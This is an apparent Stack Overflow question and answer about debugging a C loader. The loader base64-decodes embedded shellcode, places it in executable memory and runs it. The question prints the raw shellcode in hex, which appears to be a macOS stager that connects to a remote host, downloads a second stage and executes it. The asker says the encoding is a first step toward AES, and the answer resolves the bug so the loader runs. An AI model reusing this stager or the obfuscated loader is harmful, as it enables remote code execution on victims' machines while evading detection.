-3

I have a c application that decodes a base64 string that contains some shellcode and attempts to execute it and it seems to successfully decode but when it is executed the error Illegal instruction: 4 occurs. This is most of the code:

unsigned char shellcode[] = "eDZheDAweDVmeDY4eDAweDEweDAweDAweDVleDZheDA3eDVheDY4eDAyeDEweDAweDAweDQxeDVheDZheDAweDQxeDU4eDZheDAweDQxeDU5eDY4eGM1eDAweDAweDAyeDU4eDBmeDA1eDBmeDgyeDc0eDAweDAweDAweDQ5eDg5eGM0eDZheDAweDQxeDVheDZheDBheDQxeDVieDZheDAyeDVmeDZheDAxeDVleDZheDAweDVheDY4eDYxeDAweDAweDAyeDU4eDBmeDA1eDcyeDMzeDQ4eDg5eGM3eDQ4eGI4eDAweDAyeDA0eGQzeGMweGE4eDAweDAyeDUweDU0eDVleDZheDEweDVheDY4eDYyeDAweDAweDAyeDU4eDBmeDA1eDcyeDE2eDRjeDg5eGU2eDY4eDAweDEweDAweDAweDVheDY4eDFkeDAweDAweDAyeDU4eDBmeDA1eDcyeDAzeDQxeGZmeGQ0eDQ5eGZmeGNieDc0eDFleDZheDAweDVmeDZheDAweDVleDZheDAweDVheDZheDAweDQxeDVheDZheDAweDZheDA1eDU0eDQxeDU4eDY4eDVkeDAweDAweDAyeDU4eDBmeDA1eGVieDk3eDY4eDAxeDAweDAweDAyeDU4eDZheDAxeDVmeDBmeDA1Cg==";
char buffer[4096];
int bufferLen = 4096;

int main() {

  base64decode(buffer, shellcode, sizeof(shellcode));
  printf("%s", buffer);

  void *ptr = mmap(NULL, bufferLen, (PROT_READ | PROT_WRITE | PROT_EXEC), (MAP_PRIVATE | MAP_ANONYMOUS), -1, 0);
  memcpy(ptr, buffer, bufferLen);

  int (*ret)() = (int(*)())ptr;
  ret();

}

The raw shellcode is \x6a\x00\x5f\x68\x00\x10\x00\x00\x5e\x6a\x07\x5a\x68\x02\x10\x00\x00\x41\x5a\x6a\x00\x41\x58\x6a\x00\x41\x59\x68\xc5\x00\x00\x02\x58\x0f\x05\x0f\x82\x74\x00\x00\x00\x49\x89\xc4\x6a\x00\x41\x5a\x6a\x0a\x41\x5b\x6a\x02\x5f\x6a\x01\x5e\x6a\x00\x5a\x68\x61\x00\x00\x02\x58\x0f\x05\x72\x33\x48\x89\xc7\x48\xb8\x00\x02\x04\xd3\xc0\xa8\x00\x02\x50\x54\x5e\x6a\x10\x5a\x68\x62\x00\x00\x02\x58\x0f\x05\x72\x16\x4c\x89\xe6\x68\x00\x10\x00\x00\x5a\x68\x1d\x00\x00\x02\x58\x0f\x05\x72\x03\x41\xff\xd4\x49\xff\xcb\x74\x1e\x6a\x00\x5f\x6a\x00\x5e\x6a\x00\x5a\x6a\x00\x41\x5a\x6a\x00\x6a\x05\x54\x41\x58\x68\x5d\x00\x00\x02\x58\x0f\x05\xeb\x97\x68\x01\x00\x00\x02\x58\x6a\x01\x5f\x0f\x05 The printf statement returns the correct decoded shellcode without the backslashes, and that may have occurred during the decode, which could explain the error, but if I put double backslashes in the shellcode before encoding it prints with one backslash suggesting it is the printf command removing it. This means the shellcode is intact but it still has the error.

I am using the base64 decode function from here: https://github.com/rapid7/metasploit-framework/blob/master/data/headers/windows/base64.h

  • Do you wish us to decode that string by ourselves ? – user14063792468 Jun 09 '19 at 15:35
  • sorry ill add the raw shellcode to the question – Silent Person Jun 09 '19 at 15:37
  • I encoded the raw shellcode that I added to the question. The fact that it returns as text-formatted hex numbers without backslashes is most likely the problem that I don't know how to fix. – Silent Person Jun 09 '19 at 15:39
  • what I want to do is decode and execute the shellcode – Silent Person Jun 09 '19 at 15:40
  • Even if you have properly copied your code section(or whatever it is called) the code you are trying to execute may still try to access global variables or something. Check that. – user14063792468 Jun 09 '19 at 15:41
  • I am calling the shellcode with a function pointer. That is a well established way of executing it. – Silent Person Jun 09 '19 at 15:42
  • No, I have used raw shellcode many times in the past and thats not how it works. For example, if I try executing the raw shellcode without the encoding and decoding, using a function pointer, it works with our errors. – Silent Person Jun 09 '19 at 15:48
  • @Tom Karzesoh I think I see what you mean, I need to use an array not a string – Silent Person Jun 09 '19 at 15:48
  • You can type `@` followed by person's account name. That way is a convenient way to say something to that person. – user14063792468 Jun 09 '19 at 15:51
  • Why the base64 encoding/decoding exercise and not just `buffer[] = "\x6a\x00\x5f\x68\x00\x10\x00\x00\x5e\x6a\x07\x5a\x68\x02\x10\x00\x00\x41\x5a\x6a\x00...";` – alk Jun 09 '19 at 15:53
  • @alk because I want a working example of decoding so I can expand to more complex algorithms like AES – Silent Person Jun 09 '19 at 15:55
  • @TomKarzes ok I see what you mean now but how does that help me fix the original problem – Silent Person Jun 09 '19 at 15:57
  • "*use an array not a string*" in C a "string" *is* an array, an array of `char` with at least one byte being equal to `0`, with the 1st `0` marking the end of the "string". – alk Jun 09 '19 at 15:59
  • 1
    If the problem is with how the data is encoded, then you need to show how you encoded it. – interjay Jun 09 '19 at 16:01
  • I encoded simply using the macOS command line tool base64 and piped in the shellcode: `base64 <<< \x6a...` – Silent Person Jun 09 '19 at 16:03
  • @TomKarzes Thats completely correct. What I did was use the base64encode function thats in the same base64.h header to encode the shellcode and it gave me a different result. I then subbed the new encoded shellcode into my original code and it worked perfectly! If you add that as an answer I will accept it. – Silent Person Jun 09 '19 at 16:13
  • @alk I tried that already – Silent Person Jun 09 '19 at 16:14
  • @alk it works with toms solution which means everything else other than the encoding was correct, and I did try those methods. Its probably because those methods still encode as a human readable string as tom said – Silent Person Jun 09 '19 at 16:20
  • 1
    You need to have the shell output the actual bytes, not the text. For example, `echo -ne '\x12\x34.....' | base64`. This would work on Linux with Bash, I'm not sure about macOS. – interjay Jun 09 '19 at 16:23
  • ... or on bash as well `echo $'\x41\x42'` to print `AB`. – alk Jun 09 '19 at 16:26
  • @interjay: This https://apple.stackexchange.com/a/339839 might help for MACOS. – alk Jun 09 '19 at 16:30

1 Answers1

0

The problem is with the encoded string. The data being encoded was a human-readable string. Instead, you need to encode the raw binary data.

You can put the data in a file for instance. You could write a C problem to do that for you. Then direct the file into base64 as input (or pipe it directly from your program to base64). Just remember your data may contain bytes with the value zero, so you need to use fwrite or write to write it out.

Tom Karzes
  • 22,815
  • 2
  • 22
  • 41